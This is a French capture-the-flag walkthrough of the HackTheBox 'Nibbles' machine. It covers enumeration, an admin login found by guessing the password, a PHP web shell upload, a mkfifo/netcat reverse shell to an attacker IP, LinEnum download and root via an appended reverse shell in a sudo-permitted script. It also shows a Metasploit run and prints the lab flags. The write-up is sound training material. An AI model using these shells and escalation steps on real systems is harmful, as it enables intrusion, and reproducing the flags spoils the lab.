Nibbles

📜Enumeration

Run an nmap script scan on the target. What is the Apache version running on the server? (answer format: X.X.XX)

Dans un premier temps, nous analysons à l'aide d'un simple scan Nmap les ports ouverts sur la cible :

$ nmap -sV --open -oA nibbles_initial_scan 10.xxx.xxx.xxx

Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 10:53 CEST
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds

Suite au scan effectué, nous observons 2 ports ouverts :

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Nous observons ici que la version su serveur web est Apache httpd 2.4.18 .

Cependant, nous n'avons pas encore effectué le scan demandé. Nous allons donc maintenant effectuer l'analyse de script Nmap comme demandé.

Afin d'effectuer une analyse de script nmap sur les ports ouverts recensés, voici la commande effectuée :

$ nmap -sC -p 22,80 -oA nibbles_script_scan 10.xxx.xxx.xxx

Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 10:57 CEST
Nmap scan report for 10.xxx.xxx.xxx
Host is up (0.026s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
80/tcp open  http
|_http-title: Site doesn't have a title (text/html).

Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds

Le scan du script ne nous a rien donné de pratique. Nous complétons alors notre scan nmap en utilisant le script http-enum, qui peut être utilisé pour énumérer les répertoires d'applications Web communes :

$ nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.xxx.xxx.xxx

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds

Nous obtenons donc la version de notre serveur Apache :

2.4.18

🐾 Web Footprinting

Nous récupérons le contenu du site Web à l'aide de la commande curl :

$ curl http://10.xxx.xxx.xxx

<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->

Suite à cette lecture du site Web de notre cible, il nous est possible d'observer la présence d'un répertoire /nibbleblog .

Nous accédons alors au site cible sur le répertoire /nibbleblog :

Une recherche en ligne (niggleblog exploit) nous à permis d'identifier une possible vulnérabilité. La faille permet à un attaquant authentifié de télécharger et d'exécuter du code PHP arbitraire sur le serveur Web sous-jacent. Il est également mentionné que le module metasploit utilisé à été effectué sur la version 4.0.3. Cependant nous ne connaissons pas la version de notre niggleblog en cours d'utilisation. Si nous regardons le code source du module metasploit, nous pouvons voir que l'exploit utilise des informations d'identification fournies par l'utilisateur pour s'authentifier sur le portail d'administration /admin.php.

Nous utilisons alors Gobuster afin d'énumérer l'ensemble des répertoires accessibles :

$ gobuster dir -u http://10.xxx.xxx.xxx/nibbleblog/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 309]
/.hta                 (Status: 403) [Size: 304]
/.htaccess            (Status: 403) [Size: 309]
/README               (Status: 200) [Size: 4628]
/admin                (Status: 301) [Size: 327] [--> http://10.xxx.xxx.xxx6/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 301) [Size: 329] [--> http://10.xxx.xxx.xxx/nibbleblog/content/]
/index.php            (Status: 200) [Size: 2987]
/languages            (Status: 301) [Size: 331] [--> http://10.xxx.xxx.xxx/nibbleblog/languages/]
/plugins              (Status: 301) [Size: 329] [--> http://10.xxx.xxx.xxx/nibbleblog/plugins/]
/themes               (Status: 301) [Size: 328] [--> http://10.xxx.xxx.xxx/nibbleblog/themes/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

Gobuster se termine très rapidement et confirme la présence de la page admin.php. Nous pouvons vérifier le contenu de la page README pour obtenir des informations supplémentaires, telles que le numéro de version de niggleblog. Pour se faire, nous utilisons de nouveau la commande curl :

$ curl http://10.129.135.146/nibbleblog/README

====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com

===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog

[...]

Nous validons donc que la version 4.0.3 est en cours d'utilisation, confirmant que cette version est probablement vulnérable au module Metasploit .


Nous recherchons maintenant des possibles informations d'identification dans les différents répertoires trouvés par Gobuster :

Nous observons dans le répertoire /admin/private/ la présence de plusieurs fichiers XML. Nous analysons leur contenu, notamment concernant les fichier config.xml et users.xml :

Contenu du fichier users.xml :

Le fichier users.xml nous permets d'identifier la présence d'un utilisateur admin. Cependant, nous n'avons pas d'information concernant le mot de passe associé à cet utilisateur.

Contenu du fichier config.xml :

En vérifiant le contenu de ce fichier, en espérant trouver des mots de passe exploitables, nous voyons deux mentions de nibbles dans le titre du site ainsi que l'adresse e-mail de notification. C'est aussi le nom de la boîte. Nous nous sommes alors demandés si il pourrait s'agir du mot de passe administrateur ?

Nous avons alors choisi de tester les identifiants admin:nibbles sur la page 10.xxx.xxx.xxx/nibbleblog/admin.php, ce qui nous à permis d'avoir un accès en tant qu'administrateur au site Web de notre cible :


📞 Initial Foothold

Maintenant que nous sommes connectés au portail d'administration, nous devons essayer de transformer cet accès pour exécuter du code et obtenir un accès en reverse shell au serveur Web.

En observant les répertoires disponibles sur le site Web une fois connectés en tant qu'administrateur, nous avons relevé ceci :

Page

Contenu

Publish

Créer un nouveau post, un post vidéo, un post de citation ou une nouvelle page. Ça pourrait être intéressant.

Comments

Ne montre aucun commentaire publié

Manage

Nous permet de gérer les publications, les pages et les catégories. Nous pouvons modifier et supprimer des catégories, pas trop intéressant.

Settings

Confirme que la version vulnérable 4.0.3 est utilisée. Plusieurs paramètres sont disponibles, mais aucun ne nous semble intéressant.

Themes

Cela nous permet d'installer un nouveau thème à partir d'une liste présélectionnée.

Plugins

Permet de configurer, installer ou désinstaller des plugins. Le plugin My image nous permet de télécharger une image.

Nous créons un fichier shell.php afin d'essayer de télécharger un fichier PHP malveillant dans le site Web :

echo "<?php system('id'); ?>" > shell.php                                         

Nous allons donc maintenant essayer de réaliser un reverse shell afin d'avoir un accès à distance à notre cible.

Nous utilisons netcat afin de réaliser une écoute active sur le port 4343:

nc -lvnp 4444

Une fois l'écoute en place, nous modifions le fichier shell.php ainsi :

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f"); ?>

Nous allons ajouter notre adresse IP de l'interfacetun0 (notre VPN actuel) à la place de<ATTACKING IP> et ajouter notre port d'écoute à la place de <LISTENING PORT> pour avoir notre reverse shell fonctionnel sur notre netcat.

La commande utilisée ici repose sur mkfifo et netcat pour établir un reverse shell fiable même dans des environnements limités. Elle est largement compatible, car elle n’exige pas l’utilisation de bash ni l'accès à /dev/tcp, ce qui en fait une méthode robuste recommandée en test d’intrusion.

Nous retournons alors que le site cible, y incluons notre fichier shell.php et nous rendons sur le lien http://10.xxx.xxx.xxx/nibbleblog/content/private/plugins/my_image/image.php afin d'activer notre reverse shell. Cette manipulation nous donne ainsi un accès distant à la machine cible :

$ nc -lvnp 4343
Ncat: Connection from 10.129.134.37.
Ncat: Connection from 10.129.134.37:47954.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

La connexion sur la cible est effective.

Notre but maintenant est d'améliorer notre shell vers un shell interactif :

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ 

Une fois le shell interactif en place, nous nous rendons dans le répertoire de l'utilisateur nibbler et analysons le contenu du fichier user.txt :

nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler
nibbler@Nibbles:/home/nibbler$ ls 
personal.zip  user.txt

nibbler@Nibbles:/home/nibbler$ cat user.txt
79c03865431abf47b90ef24b9695e148

Une fois ces information obtenues, nous pouvons résoudre le point suivant :

Gain a foothold on the target and submit the user.txt flag

La flag présent dans le fichier user.txt est donc le suivant :

79c03865431abf47b90ef24b9695e148

↗️Privilege Escalation

Maintenant qu'un accès à distance à la machine est réalisé, le but est d'effectuer une élévation de privilèges pour devenir administrateur.

Comme nous avons pu le voir, un fichier personal.zip est présent sur le poste de l'utilisateur. Nous allons donc le unzip :

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  

Un fichier monitor.sh est créé.

Le script monitor.sh est un script de surveillance, et il appartient à notre utilisateur nibbler .

nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
####################################################################################################

#                                        Tecmint_monitor.sh                                        #                                                                                    #

####################################################################################################

#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
       case $name in
         i)iopt=1;;
         v)vopt=1;;
         *)echo "Invalid arg";;
       esac
done
 <SNIP>

Nous allons télécharger LinEnum.sh afin de vérifier automatiquement si des élévations de privilèges sont possibles.

Pour cela, on télécharge le fichier sur notre hôte attaquant :

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                100%[=====================================>]  45.54K  --.-KB/s    in 0.01s   

2025-06-16 17:10:12 (3.12 MB/s) - ‘LinEnum.sh’ saved [46631/46631]

On ouvre un serveur WEB python sur notre hôte attaquant dans le répertoire contenant notre script LinEnum.sh afin de rendre le fichier accessible sur notre cible pour pouvoir le télécharger et l'exécuter :

$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On se rend donc sur la cible et téléchargeons le fichier :

wget http://<ATTACKING IP>:8000/LinEnum.sh

Nous allons ajouter notre adresse IP de l'interfacetun0 (notre VPN actuel) à la place de<ATTACKING IP> .

nibbler@Nibbles:/home/nibbler/personal$ wget http://10.xxx.xxx.xxx:8000/LinEnum.sh
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[===================>]  45.54K  --.-KB/s    in 0.05s   

2025-06-16 11:27:01 (923 KB/s) - 'LinEnum.sh' saved [46631/46631]

Une fois le script installé, on lui attribue les droits necéssaires :

nibbler@Nibbles:/home/nibbler/personal$ chmod +x LinEnum.sh

Voici l'un des éléments que nous retourne LinEnum.sh :

[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Ceci mentionne que l'utilisateur peut exécuter le fichier /home/nibbler/personal/stuff/monitor.sh avec privilèges root. Étant donné que nous avons un contrôle total sur ce fichier, si nous ajoutons un reverse shell à la fin de celui-ci et l'exécutons avec sudo nous devrions récupérer un accès en tant qu'utilisateur root.

Nous ajoutons notre reverse shell à la fin du fichier :

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.xxx.xxx.xxx 4343 >/tmp/f' | tee -a monitor.sh               

Il s'agit d'un élément crucial si nous sommes confrontés à une situation dans laquelle nous pouvons utiliser un fichier de script pour une escalade des privilèges. Nous n'ajoutons que la fin du fichier (après avoir fait une copie de sauvegarde du fichier) pour éviter de l'écraser et de provoquer une interruption.

On lance une écoute sur le port 4343 sur notre machien attaquante :

$ nc -lvnp 4343

On exécute le script sur la machine cible à l'aide de la commande sudo :

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found

Une fois le script lancé, nous observons la bonne connexion en tant que root sur le reverse shell :

$ nc -lvnp 4343
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4343
Ncat: Listening on 0.0.0.0:4343
Ncat: Connection from 10.129.134.37.
Ncat: Connection from 10.129.134.37:47968.
# id
uid=0(root) gid=0(root) groups=0(root)

On récupère ensuite un shell interactif et récupérons le contenu du fichier root.txt :

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

root@Nibbles:/home/nibbler/personal/stuff# ll
total 28
drwxr-xr-x 2 nibbler nibbler  4096 Jun 16 11:44 ./
drwxr-xr-x 3 nibbler nibbler  4096 Jun 16 11:27 ../
-rw-r--r-- 1 nibbler nibbler 16384 Jun 16 11:44 .monitor.sh.swp
-rwxrwxrwx 1 nibbler nibbler  4094 Jun 16 11:47 monitor.sh*

root@Nibbles:/home/nibbler/personal/stuff# cd /root	
root@Nibbles:~# ls
root.txt

root@Nibbles:~# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd

Le fichier root.txt contient donc ceci :

de5e5d6619862a8aa5b9b212314e0cdd

🛡️Metasploit

Comme nous l'avons vu au début de la Box, une exploitation via Metasploit était possible.

Cependant, comme nous n'avions pas les identifiants associés à l'administrateur, nous n'avons pas pu explorer cette option.

Cependant, maintenant nous pouvons essayer d'explorer cet environnement.

C'est beaucoup plus simple, mais il vaut la peine de pratiquer les deux méthodes pour se familiariser avec autant d'outils et de techniques que possible.

Lancer Metasploit sur notre machine attaquante et utiliser l'exploit trouvé lors de recherches précédentes :

$ msfconsole  

msf6 > use exploit/multi/http/nibbleblog_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

msf6 exploit(multi/http/nibbleblog_file_upload) > options
Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/usin
                                         g-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.xxx.xxx.xxx     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

Dans les options, nous allons modifier ceci :

   Name       Current Setting  Required  Description
   PASSWORD                    yes       The password to authenticate with
   USERNAME                    yes       The username to authenticate with
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/usin
                                         g-metasploit/basics/using-metasploit.html
   TARGETURI  /                yes       The base path to the web application

msf6 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles

msf6 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin

msf6 exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.xxx.xxx.xxx
rhosts => 10.xxx.xxx.xxx

msf6 exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog

Une fois les paramètres renseignés, on choisi le payload souhaité et lançons l'exploit.

msf6 exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > run

[*] Started reverse TCP handler on 10.xxx.xxx.xxx:4444 
[+] Deleted image.php
[*] Command shell session 1 opened (10.xxx.xxx.xxx:4444 -> 10.xxx.xxx.xxx:46006) at 2025-06-16 20:11:44 +0200

id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Nous nous retrouvons donc connectés en tant que l'utilisateur nibbler, nous pouvons maintenant effectuer les mêmes manipulations d'élévation de privilèges que vu précédemment.


Mis à jour